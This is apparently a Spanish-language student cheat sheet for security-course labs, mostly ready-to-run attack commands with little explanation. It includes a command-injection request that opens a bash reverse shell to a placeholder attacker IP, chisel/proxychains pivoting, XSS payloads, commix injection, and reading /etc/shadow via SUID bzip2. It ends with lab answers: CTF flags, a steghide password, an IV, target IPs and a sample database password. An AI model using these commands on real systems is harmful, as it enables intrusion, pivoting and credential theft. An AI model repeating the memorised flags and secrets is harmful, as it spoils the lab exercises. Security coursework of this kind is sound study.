curl "http://objetivo/ping?host=127.0.0.1;bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1'"
```

Chisel + proxychains:

```
# Atacante.
chisel server -p 8000 --reverse

# Victima/pivote.
./chisel client IP_ATACANTE:8000 R:socks

# /etc/proxychains4.conf: anadir al final.
socks5 127.0.0.1 1080

# Usar el tunel.
proxychains nmap -sT -Pn -p 80,445 172.31.0.0/24
proxychains curl http://172.31.0.50/
```

XSS:

```
<script>alert(1)</script>
"><script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
```

```
curl "http://objetivo/search?q=<script>alert(1)</script>"
```

Commix:

```
commix -u "http://objetivo/ping?host=127.0.0.1"
commix -u "http://objetivo/ping" --data="host=127.0.0.1"
commix -u "http://objetivo/ping?host=127.0.0.1" --os-cmd="id"
```

MIME spoofing:

```
file archivo
xxd archivo | head
```

SUID bzip2 para leer fichero protegido:

```
cd /tmp
/usr/bin/bzip2 -c /etc/shadow > shadow.bz2
bzip2 -dc shadow.bz2
```

Setuid y dd:

```
find / -perm -4000 -type f 2>/dev/null
ls -l /usr/bin/dd /usr/bin/bzip2
ls -l fichero_objetivo
cp fichero_objetivo /tmp/backup
wc -c payload
```

Datos Concretos de Tus Practicas

Solo lo mas buscable del laboratorio propio; el documento largo conserva todo el detalle.

- CTF LAB02: SSI_P1_2ddcc781905bfe6a, SSI_P2_e8611d13d2aa4adf, SSI_P3_b659f42158bea1be.
- Cripto: usuario U0302313, steghide password Contact, algoritmo correcto AES-192-CBC.
- Cripto: IV f7ab03abeca859e33bcf577713d855ea, password local ATHFCHARACTERS.
- LAB05: Lynis baseline Hardening index 62; perfil OpenSCAP cis_level1_server.
- LAB08: subred 192.168.8.0/24; host expuesto 192.168.8.69; claves SSH duplicadas 192.168.8.48/192.168.8.69.
- LAB10-12: SQLi 172.31.0.40; webshell 172.31.0.50; objetivo step4 172.31.0.22; LFI 172.31.0.90.

```
# Rutas/valores utiles para Ctrl+F.  
/root/.local/share/sqlmap/output  
http://172.31.0.22/.git/HEAD  
http://172.31.0.22/backups/config.bak  
DB_HOST=acme-db.internal  
DB_USER=acme_app  
DB_PASSWORD=SuperSecret123  
//172.31.0.22/public  
GTF0Bins: https://gtfobins.org/
```